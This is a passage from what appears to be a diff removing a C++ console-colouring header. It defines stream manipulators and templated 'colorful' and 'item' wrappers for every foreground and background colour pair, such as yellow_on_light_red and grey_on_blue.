"la"); return os; } - std::ostream& yellow_on_light_red(std::ostream& os) { set("y", "lr"); return os; } - std::ostream& yellow_on_light_purple(std::ostream& os) { set("y", "lp"); return os; } - std::ostream& yellow_on_light_yellow(std::ostream& os) { set("y", "ly"); return os; } - std::ostream& yellow_on_bright_white(std::ostream& os) { set("y", "bw"); return os; } - std::ostream& white_on_black(std::ostream& os) { set("w", "k"); return os; } - std::ostream& white_on_blue(std::ostream& os) { set("w", "b"); return os; } - std::ostream& white_on_green(std::ostream& os) { set("w", "g"); return os; } - std::ostream& white_on_aqua(std::ostream& os) { set("w", "a"); return os; } - std::ostream& white_on_red(std::ostream& os) { set("w", "r"); return os; } - std::ostream& white_on_purple(std::ostream& os) { set("w", "p"); return os; } - std::ostream& white_on_yellow(std::ostream& os) { set("w", "y"); return os; } - std::ostream& white_on_white(std::ostream& os) { set("w", "w"); return os; } - std::ostream& white_on_grey(std::ostream& os) { set("w", "e"); return os; } - std::ostream& white_on_light_blue(std::ostream& os) { set("w", "lb"); return os; } - std::ostream& white_on_light_green(std::ostream& os) { set("w", "lg"); return os; } - std::ostream& white_on_light_aqua(std::ostream& os) { set("w", "la"); return os; } - std::ostream& white_on_light_red(std::ostream& os) { set("w", "lr"); return os; } - std::ostream& white_on_light_purple(std::ostream& os) { set("w", "lp"); return os; } - std::ostream& white_on_light_yellow(std::ostream& os) { set("w", "ly"); return os; } - std::ostream& white_on_bright_white(std::ostream& os) { set("w", "bw"); return os; } - std::ostream& grey_on_black(std::ostream& os) { set("e", "k"); return os; } - std::ostream& grey_on_blue(std::ostream& os) { set("e", "b"); return os; } - std::ostream& grey_on_green(std::ostream& os) { set("e", "g"); return os; } - std::ostream& grey_on_aqua(std::ostream& os) { set("e", "a"); return os; } - std::ostream& grey_on_red(std::ostream& os) { set("e", "r"); return os; } - std::ostream& grey_on_purple(std::ostream& os) { set("e", "p"); return os; } - std::ostream& grey_on_yellow(std::ostream& os) { set("e", "y"); return os; } - std::ostream& grey_on_white(std::ostream& os) { set("e", "w"); return os; } - std::ostream& grey_on_grey(std::ostream& os) { set("e", "e"); return os; } - std::ostream& grey_on_light_blue(std::ostream& os) { set("e", "lb"); return os; } - std::ostream& grey_on_light_green(std::ostream& os) { set("e", "lg"); return os; } - std::ostream& grey_on_light_aqua(std::ostream& os) { set("e", "la"); return os; } - std::ostream& grey_on_light_red(std::ostream& os) { set("e", "lr"); return os; } - std::ostream& grey_on_light_purple(std::ostream& os) { set("e", "lp"); return os; } - std::ostream& grey_on_light_yellow(std::ostream& os) { set("e", "ly"); return os; } - std::ostream& grey_on_bright_white(std::ostream& os) { set("e", "bw"); return os; } - std::ostream& light_blue_on_black(std::ostream& os) { set("lb", "k"); return os; } - std::ostream& light_blue_on_blue(std::ostream& os) { set("lb", "b"); return os; } - std::ostream& light_blue_on_green(std::ostream& os) { set("lb", "g"); return os; } - std::ostream& light_blue_on_aqua(std::ostream& os) { set("lb", "a"); return os; } - std::ostream& light_blue_on_red(std::ostream& os) { set("lb", "r"); return os; } - std::ostream& light_blue_on_purple(std::ostream& os) { set("lb", "p"); return os; } - std::ostream& light_blue_on_yellow(std::ostream& os) { set("lb", "y"); return os; } - std::ostream& light_blue_on_white(std::ostream& os) { set("lb", "w"); return os; } - std::ostream& light_blue_on_grey(std::ostream& os) { set("lb", "e"); return os; } - std::ostream& light_blue_on_light_blue(std::ostream& os) { set("lb", "lb"); return os; } - std::ostream& light_blue_on_light_green(std::ostream& os) { set("lb", "lg"); return os; } - std::ostream& light_blue_on_light_aqua(std::ostream& os) { set("lb", "la"); return os; } - std::ostream& light_blue_on_light_red(std::ostream& os) { set("lb", "lr"); return os; } - std::ostream& light_blue_on_light_purple(std::ostream& os) { set("lb", "lp"); return os; } - std::ostream& light_blue_on_light_yellow(std::ostream& os) { set("lb", "ly"); return os; } - std::ostream& light_blue_on_bright_white(std::ostream& os) { set("lb", "bw"); return os; } - std::ostream& light_green_on_black(std::ostream& os) { set("lg", "k"); return os; } - std::ostream& light_green_on_blue(std::ostream& os) { set("lg", "b"); return os; } - std::ostream& light_green_on_green(std::ostream& os) { set("lg", "g"); return os; } - std::ostream& light_green_on_aqua(std::ostream& os) { set("lg", "a"); return os; } - std::ostream& light_green_on_red(std::ostream& os) { set("lg", "r"); return os; } - std::ostream& light_green_on_purple(std::ostream& os) { set("lg", "p"); return os; } - std::ostream& light_green_on_yellow(std::ostream& os) { set("lg", "y"); return os; } - std::ostream& light_green_on_white(std::ostream& os) { set("lg", "w"); return os; } - std::ostream& light_green_on_grey(std::ostream& os) { set("lg", "e"); return os; } - std::ostream& light_green_on_light_blue(std::ostream& os) { set("lg", "lb"); return os; } - std::ostream& light_green_on_light_green(std::ostream& os) { set("lg", "lg"); return os; } - std::ostream& light_green_on_light_aqua(std::ostream& os) { set("lg", "la"); return os; } - std::ostream& light_green_on_light_red(std::ostream& os) { set("lg", "lr"); return os; } - std::ostream& light_green_on_light_purple(std::ostream& os) { set("lg", "lp"); return os; } - std::ostream& light_green_on_light_yellow(std::ostream& os) { set("lg", "ly"); return os; } - std::ostream& light_green_on_bright_white(std::ostream& os) { set("lg", "bw"); return os; } - std::ostream& light_aqua_on_black(std::ostream& os) { set("la", "k"); return os; } - std::ostream& light_aqua_on_blue(std::ostream& os) { set("la", "b"); return os; } - std::ostream& light_aqua_on_green(std::ostream& os) { set("la", "g"); return os; } - std::ostream& light_aqua_on_aqua(std::ostream& os) { set("la", "a"); return os; } - std::ostream& light_aqua_on_red(std::ostream& os) { set("la", "r"); return os; } - std::ostream& light_aqua_on_purple(std::ostream& os) { set("la", "p"); return os; } - std::ostream& light_aqua_on_yellow(std::ostream& os) { set("la", "y"); return os; } - std::ostream& light_aqua_on_white(std::ostream& os) { set("la", "w"); return os; } - std::ostream& light_aqua_on_grey(std::ostream& os) { set("la", "e"); return os; } - std::ostream& light_aqua_on_light_blue(std::ostream& os) { set("la", "lb"); return os; } - std::ostream& light_aqua_on_light_green(std::ostream& os) { set("la", "lg"); return os; } - std::ostream& light_aqua_on_light_aqua(std::ostream& os) { set("la", "la"); return os; } - std::ostream& light_aqua_on_light_red(std::ostream& os) { set("la", "lr"); return os; } - std::ostream& light_aqua_on_light_purple(std::ostream& os) { set("la", "lp"); return os; } - std::ostream& light_aqua_on_light_yellow(std::ostream& os) { set("la", "ly"); return os; } - std::ostream& light_aqua_on_bright_white(std::ostream& os) { set("la", "bw"); return os; } - std::ostream& light_red_on_black(std::ostream& os) { set("lr", "k"); return os; } - std::ostream& light_red_on_blue(std::ostream& os) { set("lr", "b"); return os; } - std::ostream& light_red_on_green(std::ostream& os) { set("lr", "g"); return os; } - std::ostream& light_red_on_aqua(std::ostream& os) { set("lr", "a"); return os; } - std::ostream& light_red_on_red(std::ostream& os) { set("lr", "r"); return os; } - std::ostream& light_red_on_purple(std::ostream& os) { set("lr", "p"); return os; } - std::ostream& light_red_on_yellow(std::ostream& os) { set("lr", "y"); return os; } - std::ostream& light_red_on_white(std::ostream& os) { set("lr", "w"); return os; } - std::ostream& light_red_on_grey(std::ostream& os) { set("lr", "e"); return os; } - std::ostream& light_red_on_light_blue(std::ostream& os) { set("lr", "lb"); return os; } - std::ostream& light_red_on_light_green(std::ostream& os) { set("lr", "lg"); return os; } - std::ostream& light_red_on_light_aqua(std::ostream& os) { set("lr", "la"); return os; } - std::ostream& light_red_on_light_red(std::ostream& os) { set("lr", "lr"); return os; } - std::ostream& light_red_on_light_purple(std::ostream& os) { set("lr", "lp"); return os; } - std::ostream& light_red_on_light_yellow(std::ostream& os) { set("lr", "ly"); return os; } - std::ostream& light_red_on_bright_white(std::ostream& os) { set("lr", "bw"); return os; } - std::ostream& light_purple_on_black(std::ostream& os) { set("lp", "k"); return os; } - std::ostream& light_purple_on_blue(std::ostream& os) { set("lp", "b"); return os; } - std::ostream& light_purple_on_green(std::ostream& os) { set("lp", "g"); return os; } - std::ostream& light_purple_on_aqua(std::ostream& os) { set("lp", "a"); return os; } - std::ostream& light_purple_on_red(std::ostream& os) { set("lp", "r"); return os; } - std::ostream& light_purple_on_purple(std::ostream& os) { set("lp", "p"); return os; } - std::ostream& light_purple_on_yellow(std::ostream& os) { set("lp", "y"); return os; } - std::ostream& light_purple_on_white(std::ostream& os) { set("lp", "w"); return os; } - std::ostream& light_purple_on_grey(std::ostream& os) { set("lp", "e"); return os; } - std::ostream& light_purple_on_light_blue(std::ostream& os) { set("lp", "lb"); return os; } - std::ostream& light_purple_on_light_green(std::ostream& os) { set("lp", "lg"); return os; } - std::ostream& light_purple_on_light_aqua(std::ostream& os) { set("lp", "la"); return os; } - std::ostream& light_purple_on_light_red(std::ostream& os) { set("lp", "lr"); return os; } - std::ostream& light_purple_on_light_purple(std::ostream& os) { set("lp", "lp"); return os; } - std::ostream& light_purple_on_light_yellow(std::ostream& os) { set("lp", "ly"); return os; } - std::ostream& light_purple_on_bright_white(std::ostream& os) { set("lp", "bw"); return os; } - std::ostream& light_yellow_on_black(std::ostream& os) { set("ly", "k"); return os; } - std::ostream& light_yellow_on_blue(std::ostream& os) { set("ly", "b"); return os; } - std::ostream& light_yellow_on_green(std::ostream& os) { set("ly", "g"); return os; } - std::ostream& light_yellow_on_aqua(std::ostream& os) { set("ly", "a"); return os; } - std::ostream& light_yellow_on_red(std::ostream& os) { set("ly", "r"); return os; } - std::ostream& light_yellow_on_purple(std::ostream& os) { set("ly", "p"); return os; } - std::ostream& light_yellow_on_yellow(std::ostream& os) { set("ly", "y"); return os; } - std::ostream& light_yellow_on_white(std::ostream& os) { set("ly", "w"); return os; } - std::ostream& light_yellow_on_grey(std::ostream& os) { set("ly", "e"); return os; } - std::ostream& light_yellow_on_light_blue(std::ostream& os) { set("ly", "lb"); return os; } - std::ostream& light_yellow_on_light_green(std::ostream& os) { set("ly", "lg"); return os; } - std::ostream& light_yellow_on_light_aqua(std::ostream& os) { set("ly", "la"); return os; } - std::ostream& light_yellow_on_light_red(std::ostream& os) { set("ly", "lr"); return os; } - std::ostream& light_yellow_on_light_purple(std::ostream& os) { set("ly", "lp"); return os; } - std::ostream& light_yellow_on_light_yellow(std::ostream& os) { set("ly", "ly"); return os; } - std::ostream& light_yellow_on_bright_white(std::ostream& os) { set("ly", "bw"); return os; } - std::ostream& bright_white_on_black(std::ostream& os) { set("bw", "k"); return os; } - std::ostream& bright_white_on_blue(std::ostream& os) { set("bw", "b"); return os; } - std::ostream& bright_white_on_green(std::ostream& os) { set("bw", "g"); return os; } - std::ostream& bright_white_on_aqua(std::ostream& os) { set("bw", "a"); return os; } - std::ostream& bright_white_on_red(std::ostream& os) { set("bw", "r"); return os; } - std::ostream& bright_white_on_purple(std::ostream& os) { set("bw", "p"); return os; } - std::ostream& bright_white_on_yellow(std::ostream& os) { set("bw", "y"); return os; } - std::ostream& bright_white_on_white(std::ostream& os) { set("bw", "w"); return os; } - std::ostream& bright_white_on_grey(std::ostream& os) { set("bw", "e"); return os; } - std::ostream& bright_white_on_light_blue(std::ostream& os) { set("bw", "lb"); return os; } - std::ostream& bright_white_on_light_green(std::ostream& os) { set("bw", "lg"); return os; } - std::ostream& bright_white_on_light_aqua(std::ostream& os) { set("bw", "la"); return os; } - std::ostream& bright_white_on_light_red(std::ostream& os) { set("bw", "lr"); return os; } - std::ostream& bright_white_on_light_purple(std::ostream& os) { set("bw", "lp"); return os; } - std::ostream& bright_white_on_light_yellow(std::ostream& os) { set("bw", "ly"); return os; } - std::ostream& bright_white_on_bright_white(std::ostream& os) { set("bw", "bw"); return os; } -} - - -namespace dye -{ - template - using bar = typename std::conditional::value, std::string, T>::type; - - template class colorful; - template class item; - - template - class colorful : private std::list> - { - public: - using std::list>::list; - - colorful& operator+=(const colorful& rhs) - { - this->insert(this->end(), rhs.begin(), rhs.end()); - return *this; - } - - colorful& operator+=(colorful&& rhs) - { - this->splice(this->end(), std::move(rhs)); - return *this; - } - - colorful& operator+=(T t) - { - this->push_back(std::move(t)); - return *this; - } - - void push_front(T t) - { - this->std::list>::push_front(item(std::move(t))); - } - - void push_back(T t) - { - this->std::list>::push_back(item(std::move(t))); - } - - colorful& invert() - { - for (auto& elem : *this) - elem.invert(); - return *this; - } - - template - friend std::ostream& operator<<(std::ostream&, const colorful&); - - template - friend colorful invert(colorful col); - }; - - template - colorful operator+(colorful lhs, colorful rhs) - { - colorful res(std::move(lhs)); - return res += rhs; - } - - template - colorful operator+(colorful lhs, std::string rhs) - { - colorful res(std::move(lhs)); - res.push_back(std::move(rhs)); - return res; - } - - template - colorful operator+(const std::string& lhs, colorful rhs) - { - colorful res(std::move(rhs)); - res.push_front(std::move(lhs)); - return res; - } - - template - std::ostream& operator<<(std::ostream& os, const colorful& colorful) - { - for (const auto& elem : colorful) - os << elem; - return os; - } - - template - colorful invert(colorful col) - { - colorful res(std::move(col)); - for (auto& elem : res) - elem.invert(); - return res; - } - - template - class item - { - T thing; - int color; - - public: - item(T t) : thing(std::move(t)), color(hue::get()) {} - item(T t, int a) : thing(std::move(t)), color(hue::itoc(a)) {} - item(T t, int a, int b) : thing(std::move(t)), color(hue::itoc(a, b)) {} - item(T t, std::string a) : thing(std::move(t)), color(hue::stoc(a)) {} - item(T t, std::string a, std::string b) : thing(std::move(t)), color(hue::stoc(a, b)) {} - - item& invert() - { - color = hue::invert(color); - return *this; - } - - template - friend class colorful; - - template - friend std::ostream& operator<<(std::ostream&, const item&); - }; - - template - std::ostream& operator<<(std::ostream& os, const item& it) - { - hue::set(it.color); - os << it.thing; - hue::reset(); - return os; - } - - template using R = colorful>; - template using S = item>; - - template R colorize(T t, std::string a) { return R { S(t, a) }; } - template R vanilla(T t) { return R { S(t) }; } - template R black(T t) { return R { S(t, "k") }; } - template R blue(T t) { return R { S(t, "b") }; } - template R green(T t) { return R { S(t, "g") }; } - template R aqua(T t) { return R { S(t, "a") }; } - template R red(T t) { return R { S(t, "r") }; } - template R purple(T t) { return R { S(t, "p") }; } - template R yellow(T t) { return R { S(t, "y") }; } - template R white(T t) { return R { S(t, "w") }; } - template R grey(T t) { return R { S(t, "e") }; } - template R light_blue(T t) { return R { S(t, "lb") }; } - template R light_green(T t) { return R { S(t, "lg") }; } - template R light_aqua(T t) { return R { S(t, "la") }; } - template R light_red(T t) { return R { S(t, "lr") }; } - template R light_purple(T t) { return R { S(t, "lp") }; } - template R light_yellow(T t) { return R { S(t, "ly") }; } - template R bright_white(T t) { return R { S(t, "bw") }; } - template R on_black(T t) { return R { S(t, "k", "k") }; } - template R on_blue(T t) { return R { S(t, "k", "b") }; } - template R on_green(T t) { return R { S(t, "k", "g") }; } - template R on_aqua(T t) { return R { S(t, "k", "a") }; } - template R on_red(T t) { return R { S(t, "k", "r") }; } - template R on_purple(T t) { return R { S(t, "k", "p") }; } - template R on_yellow(T t) { return R { S(t, "k", "y") }; } - template R on_white(T t) { return R { S(t, "k", "w") }; } - template R on_grey(T t) { return R { S(t, "k", "e") }; } - template R on_light_blue(T t) { return R { S(t, "k", "lb") }; } - template R on_light_green(T t) { return R { S(t, "k", "lg") }; } - template R on_light_aqua(T t) { return R { S(t, "k", "la") }; } - template R on_light_red(T t) { return R { S(t, "k", "lr") }; } - template R on_light_purple(T t) { return R { S(t, "k", "lp") }; } - template R on_light_yellow(T t) { return R { S(t, "k", "ly") }; } - template R on_bright_white(T t) { return R { S(t, "k", "bw") }; } - template R black_on_black(T t) { return R { S(t, "k", "k") }; } - template R black_on_blue(T t) { return R { S(t, "k", "b") }; } - template R black_on_green(T t) { return R { S(t, "k", "g") }; } - template R black_on_aqua(T t) { return R { S(t, "k", "a") }; } - template R black_on_red(T t) { return R { S(t, "k", "r") }; } - template R black_on_purple(T t) { return R { S(t, "k", "p") }; } - template R black_on_yellow(T t) { return R { S(t, "k", "y") }; } - template R black_on_white(T t) { return R { S(t, "k", "w") }; } - template R black_on_grey(T t) { return R { S(t, "k", "e") }; } - template R black_on_light_blue(T t) { return R { S(t, "k", "lb") }; } - template R black_on_light_green(T t) { return R { S(t, "k", "lg") }; } - template R black_on_light_aqua(T t) { return R { S(t, "k", "la") }; } - template R black_on_light_red(T t) { return R { S(t, "k", "lr") }; } - template R black_on_light_purple(T t) { return R { S(t, "k", "lp") }; } - template R black_on_light_yellow(T t) { return R { S(t, "k", "ly") }; } - template R black_on_bright_white(T t) { return R { S(t, "k", "bw") }; } - template R blue_on_black(T t) { return R { S(t, "b", "k") }; } - template R blue_on_blue(T t) { return R { S(t, "b", "b") }; } - template R blue_on_green(T t) { return R { S(t, "b", "g") }; } - template R blue_on_aqua(T t) { return R { S(t, "b", "a") }; } - template R blue_on_red(T t) { return R { S(t, "b", "r") }; } - template R blue_on_purple(T t) { return R { S(t, "b", "p") }; } - template R blue_on_yellow(T t) { return R { S(t, "b", "y") }; } - template R blue_on_white(T t) { return R { S(t, "b", "w") }; } - template R blue_on_grey(T t) { return R { S(t, "b", "e") }; } - template R blue_on_light_blue(T t) { return R { S(t, "b", "lb") }; } - template R blue_on_light_green(T t) { return R { S(t, "b", "lg") }; } - template R blue_on_light_aqua(T t) { return R { S(t, "b", "la") }; } - template R blue_on_light_red(T t) { return R { S(t, "b", "lr") }; } - template R blue_on_light_purple(T t) { return R { S(t, "b", "lp") }; } - template R blue_on_light_yellow(T t) { return R { S(t, "b", "ly") }; } - template R blue_on_bright_white(T t) { return R { S(t, "b", "bw") }; } - template R green_on_black(T t) { return R { S(t, "g", "k") }; } - template R green_on_blue(T t) { return R { S(t, "g", "b") }; } - template R green_on_green(T t) { return R { S(t, "g", "g") }; } - template R green_on_aqua(T t) { return R { S(t, "g", "a") }; } - template R green_on_red(T t) { return R { S(t, "g", "r") }; } - template R green_on_purple(T t) { return R { S(t, "g", "p") }; } - template R green_on_yellow(T t) { return R { S(t, "g", "y") }; } - template R green_on_white(T t) { return R { S(t, "g", "w") }; } - template R green_on_grey(T t) { return R { S(t, "g", "e") }; } - template R green_on_light_blue(T t) { return R { S(t, "g", "lb") }; } - template R green_on_light_green(T t) { return R { S(t, "g", "lg") }; } - template R green_on_light_aqua(T t) { return R { S(t, "g", "la") }; } - template R green_on_light_red(T t) { return R { S(t, "g", "lr") }; } - template R green_on_light_purple(T t) { return R { S(t, "g", "lp") }; } - template R green_on_light_yellow(T t) { return R { S(t, "g", "ly") }; } - template R green_on_bright_white(T t) { return R { S(t, "g", "bw") }; } - template R aqua_on_black(T t) { return R { S(t, "a", "k") }; } - template R aqua_on_blue(T t) { return R { S(t, "a", "b") }; } - template R aqua_on_green(T t) { return R { S(t, "a", "g") }; } - template R aqua_on_aqua(T t) { return R { S(t, "a", "a") }; } - template R aqua_on_red(T t) { return R { S(t, "a", "r") }; } - template R aqua_on_purple(T t) { return R { S(t, "a", "p") }; } - template R aqua_on_yellow(T t) { return R { S(t, "a", "y") }; } - template R aqua_on_white(T t) { return R { S(t, "a", "w") }; } - template R aqua_on_grey(T t) { return R { S(t, "a", "e") }; } - template R aqua_on_light_blue(T t) { return R { S(t, "a", "lb") }; } - template R aqua_on_light_green(T t) { return R { S(t, "a", "lg") }; } - template R aqua_on_light_aqua(T t) { return R { S(t, "a", "la") }; } - template R aqua_on_light_red(T t) { return R { S(t, "a", "lr") }; } - template R aqua_on_light_purple(T t) { return R { S(t, "a", "lp") }; } - template R aqua_on_light_yellow(T t) { return R { S(t, "a", "ly") }; } - template R aqua_on_bright_white(T t) { return R { S(t, "a", "bw") }; } - template R red_on_black(T t) { return R { S(t, "r", "k") }; } - template R red_on_blue(T t) { return R { S(t, "r", "b") }; } - template R red_on_green(T t) { return R { S(t, "r", "g") }; } - template R red_on_aqua(T t) { return R { S(t, "r", "a") }; } - template R red_on_red(T t) { return R { S(t, "r", "r") }; } - template R red_on_purple(T t) { return R { S(t, "r", "p") }; } - template R red_on_yellow(T t) { return R { S(t, "r", "y") }; } - template R red_on_white(T t) { return R { S(t, "r", "w") }; } - template R red_on_grey(T t) { return R { S(t, "r", "e") }; } - template R red_on_light_blue(T t) { return R { S(t, "r", "lb") }; } - template R red_on_light_green(T t) { return R { S(t, "r", "lg") }; } - template R red_on_light_aqua(T t) { return R { S(t, "r", "la") }; } - template R red_on_light_red(T t) { return R { S(t, "r", "lr") }; } - template R red_on_light_purple(T t) { return R { S(t, "r", "lp") }; } - template R red_on_light_yellow(T t) { return R { S(t, "r", "ly") }; } - template R red_on_bright_white(T t) { return R { S(t, "r", "bw") }; } - template R purple_on_black(T t) { return R { S(t, "p", "k") }; } - template R purple_on_blue(T t) { return R { S(t, "p", "b") }; } - template R purple_on_green(T t) { return R { S(t, "p", "g") }; } - template R purple_on_aqua(T t) { return R { S(t, "p", "a") }; } - template R purple_on_red(T t) { return R { S(t, "p", "r") }; } - template R purple_on_purple(T t) { return R { S(t, "p", "p") }; } - template R purple_on_yellow(T t) { return R { S(t, "p", "y") }; } - template R purple_on_white(T t) { return R { S(t, "p", "w") }; } - template R purple_on_grey(T t) { return R { S(t, "p", "e") }; } - template R purple_on_light_blue(T t) { return R { S(t, "p", "lb") }; } - template R purple_on_light_green(T t) { return R { S(t, "p", "lg") }; } - template R purple_on_light_aqua(T t) { return R { S(t, "p", "la") }; } - template R purple_on_light_red(T t) { return R { S(t, "p", "lr") }; } - template R purple_on_light_purple(T t) { return R { S(t, "p", "lp") }; } - template R purple_on_light_yellow(T t) { return R { S(t, "p", "ly") }; } - template R purple_on_bright_white(T t) { return R { S(t, "p", "bw") }; } - template R yellow_on_black(T t) { return R { S(t, "y", "k") }; } - template R yellow_on_blue(T t) { return R { S(t, "y", "b") }; } - template R yellow_on_green(T t) { return R { S(t, "y", "g") }; } - template R yellow_on_aqua(T t) { return R { S(t, "y", "a") }; } - template R yellow_on_red(T t) { return R { S(t, "y", "r") }; } - template R yellow_on_purple(T t) { return R { S(t, "y", "p") }; } - template R yellow_on_yellow(T t) { return R { S(t, "y", "y") }; } - template R yellow_on_white(T t) { return R { S(t, "y", "w") }; } - template R yellow_on_grey(T t) { return R { S(t, "y", "e") }; } - template R yellow_on_light_blue(T t) { return R { S(t, "y", "lb") }; } - template R yellow_on_light_green(T t) { return R { S(t, "y", "lg") }; } - template R yellow_on_light_aqua(T t) { return R { S(t, "y", "la") }; } - template R yellow_on_light_red(T t) { return R { S(t, "y", "lr") }; } - template R yellow_on_light_purple(T t) { return R { S(t, "y", "lp") }; } - template R yellow_on_light_yellow(T t) { return R { S(t, "y", "ly") }; } - template R yellow_on_bright_white(T t) { return R { S(t, "y", "bw") }; } - template R white_on_black(T t) { return R { S(t, "w", "k") }; } - template R white_on_blue(T t) { return R { S(t, "w", "b") }; } - template R white_on_green(T t) { return R { S(t, "w", "g") }; } - template R white_on_aqua(T t) { return R { S(t, "w", "a") }; } - template R white_on_red(T t) { return R { S(t, "w", "r") }; } - template R white_on_purple(T t) { return R { S(t, "w", "p") }; } - template R white_on_yellow(T t) { return R { S(t, "w", "y") }; } - template R white_on_white(T t) { return R { S(t, "w", "w") }; } - template R white_on_grey(T t) { return R { S(t, "w", "e") }; } - template R white_on_light_blue(T t) { return R { S(t, "w", "lb") }; } - template R white_on_light_green(T t) { return R { S(t, "w", "lg") }; } - template R white_on_light_aqua(T t) { return R { S(t, "w", "la") }; } - template R white_on_light_red(T t) { return R { S(t, "w", "lr") }; } - template R white_on_light_purple(T t) { return R { S(t, "w", "lp") }; } - template R white_on_light_yellow(T t) { return R { S(t, "w", "ly") }; } - template R white_on_bright_white(T t) { return R { S(t, "w", "bw") }; } - template R grey_on_black(T t) { return R { S(t, "e", "k") }; } - template R grey_on_blue(T t) { return R { S(t, "e", "b") }; } - template R grey_on_green(T t) { return R { S(t, "e", "g") }; } - template R grey_on_aqua(T t) { return R { S(t, "e", "a") }; } - template R grey_on_red(T t) { return R { S(t, "e", "r") }; } - template R grey_on_purple(T t) { return R { S(t, "e", "p") }; } - template R grey_on_yellow(T t) { return R { S(t, "e", "y") }; } - template R grey_on_white(T t) { return R { S(t, "e", "w") }; } - template R grey_on_grey(T t) { return R { S(t, "e", "e") }; } - template R grey_on_light_blue(T t) { return R { S(t, "e", "lb") }; } - template R grey_on_light_green(T t) { return R { S(t, "e", "lg") }; } - template R grey_on_light_aqua(T t) { return R { S(t, "e", "la") }; } - template R grey_on_light_red(T t) { return R { S(t, "e", "lr") }; } - template R grey_on_light_purple(T t) { return R { S(t, "e", "lp") }; } - template R grey_on_light_yellow(T t) { return R { S(t, "e", "ly") }; } - template R grey_on_bright_white(T t) { return R { S(t, "e", "bw") }; } - template R light_blue_on_black(T t) { return R { S(t, "lb", "k") }; } - template R light_blue_on_blue(T t) { return R { S(t, "lb", "b") }; } - template R light_blue_on_green(T t) { return R { S(t, "lb", "g") }; } - template R light_blue_on_aqua(T t) { return R { S(t, "lb", "a") }; } - template R light_blue_on_red(T t) { return R { S(t, "lb", "r") }; } - template R light_blue_on_purple(T t) { return R { S(t, "lb", "p") }; } - template R light_blue_on_yellow(T t) { return R { S(t, "lb", "y") }; } - template R light_blue_on_white(T t) { return R { S(t, "lb", "w") }; } - template R light_blue_on_grey(T t) { return R { S(t, "lb", "e") }; } - template R light_blue_on_light_blue(T t) { return R { S(t, "lb", "lb") }; } - template R light_blue_on_light_green(T t) { return R { S(t, "lb", "lg") }; } - template R light_blue_on_light_aqua(T t) { return R { S(t, "lb", "la") }; } - template R light_blue_on_light_red(T t) { return R { S(t, "lb", "lr") }; } - template R light_blue_on_light_purple(T t) { return R { S(t, "lb", "lp") }; } - template R light_blue_on_light_yellow(T t) { return R { S(t, "lb", "ly") }; } - template R light_blue_on_bright_white(T t) { return R { S(t, "lb", "bw") }; } - template R light_green_on_black(T t) { return R { S(t, "lg", "k") }; } - template R light_green_on_blue(T t) { return R { S(t, "lg", "b") }; } - template R light_green_on_green(T t) { return R { S(t, "lg", "g") }; } - template R light_green_on_aqua(T t) { return R { S(t, "lg", "a") }; } - template R light_green_on_red(T t) { return R { S(t, "lg", "r") }; } - template R light_green_on_purple(T t) { return R { S(t, "lg", "p") }; } - template R light_green_on_yellow(T t) { return R { S(t, "lg", "y") }; } - template R light_green_on_white(T t) { return R { S(t, "lg", "w") }; } - template R light_green_on_grey(T t) { return R { S(t, "lg", "e") }; } - template R light_green_on_light_blue(T t) { return R { S(t, "lg", "lb") }; } - template R light_green_on_light_green(T t) { return R { S(t, "lg", "lg") }; } - template R light_green_on_light_aqua(T t) { return R { S(t, "lg", "la") }; } - template R light_green_on_light_red(T t) { return R { S(t, "lg", "lr") }; } - template R light_green_on_light_purple(T t) { return R { S(t, "lg", "lp") }; } - template R light_green_on_light_yellow(T t) { return R { S(t, "lg", "ly") }; } - template R light_green_on_bright_white(T t) { return R { S(t, "lg", "bw") }; } - template R light_aqua_on_black(T t) { return R { S(t, "la", "k") }; } - template R light_aqua_on_blue(T t) { return R { S(t, "la", "b") }; } - template R light_aqua_on_green(T t) { return R { S(t, "la", "g") }; } - template R light_aqua_on_aqua(T t) { return R { S(t, "la", "a") }; } - template R light_aqua_on_red(T t) { return R { S(t, "la", "r") }; } - template R light_aqua_on_purple(T t) { return R { S(t, "la", "p") }; } - template R light_aqua_on_yellow(T t) { return R { S(t, "la", "y") }; } - template R light_aqua_on_white(T t) { return R { S(t, "la", "w") }; } - template R light_aqua_on_grey(T t) { return R { S(t, "la", "e") }; } - template R light_aqua_on_light_blue(T t) { return R { S(t, "la", "lb") }; } - template R light_aqua_on_light_green(T t) { return R { S(t, "la", "lg") }; } - template R light_aqua_on_light_aqua(T t) { return R { S(t, "la", "la") }; } - template R light_aqua_on_light_red(T t) { return R { S(t, "la", "lr") }; } - template R light_aqua_on_light_purple(T t) { return R { S(t, "la", "lp") }; } - template R light_aqua_on_light_yellow(T t) { return R { S(t, "la", "ly") }; } - template R light_aqua_on_bright_white(T t) { return R { S(t, "la", "bw") }; } - template R light_red_on_black(T t) { return R { S(t, "lr", "k") }; } - template R light_red_on_blue(T t) { return R { S(t, "lr", "b") }; } - template R light_red_on_green(T t) { return R { S(t, "lr", "g") }; } - template R light_red_on_aqua(T t) { return R { S(t, "lr", "a") }; } - template R light_red_on_red(T t) { return R { S(t, "lr", "r") }; } - template R light_red_on_purple(T t) { return R { S(t, "lr", "p") }; } - template R light_red_on_yellow(T t) { return R { S(t, "lr", "y") }; } - template R light_red_on_white(T t) { return R { S(t, "lr", "w") }; } - template R light_red_on_grey(T t) { return R { S(t, "lr", "e") }; } - template R light_red_on_light_blue(T t) { return R { S(t, "lr", "lb") }; } - template R light_red_on_light_green(T t) { return R { S(t, "lr", "lg") }; } - template R light_red_on_light_aqua(T t) { return R { S(t, "lr", "la") }; } - template R light_red_on_light_red(T t) { return R { S(t, "lr", "lr") }; } - template R light_red_on_light_purple(T t) { return R { S(t, "lr", "lp") }; } - template R light_red_on_light_yellow(T t) { return R { S(t, "lr", "ly") }; } - template R light_red_on_bright_white(T t) { return R { S(t, "lr", "bw") }; } - template R light_purple_on_black(T t) { return R { S(t, "lp", "k") }; } - template R light_purple_on_blue(T t) { return R { S(t, "lp", "b") }; } - template R light_purple_on_green(T t) { return R { S(t, "lp", "g") }; } - template R light_purple_on_aqua(T t) { return R { S(t, "lp", "a") }; } - template R light_purple_on_red(T t) { return R { S(t, "lp", "r") }; } - template R light_purple_on_purple(T t) { return R { S(t, "lp", "p") }; } - template R light_purple_on_yellow(T t) { return R { S(t, "lp", "y") }; } - template R light_purple_on_white(T t) { return R { S(t, "lp", "w") }; } - template R light_purple_on_grey(T t) { return R { S(t, "lp", "e") }; } - template R light_purple_on_light_blue(T t) { return R { S(t, "lp", "lb") }; } - template R light_purple_on_light_green(T t) { return R { S(t, "lp", "lg") }; } - template R light_purple_on_light_aqua(T t) { return R { S(t, "lp", "la") }; } - template R light_purple_on_light_red(T t) { return R { S(t, 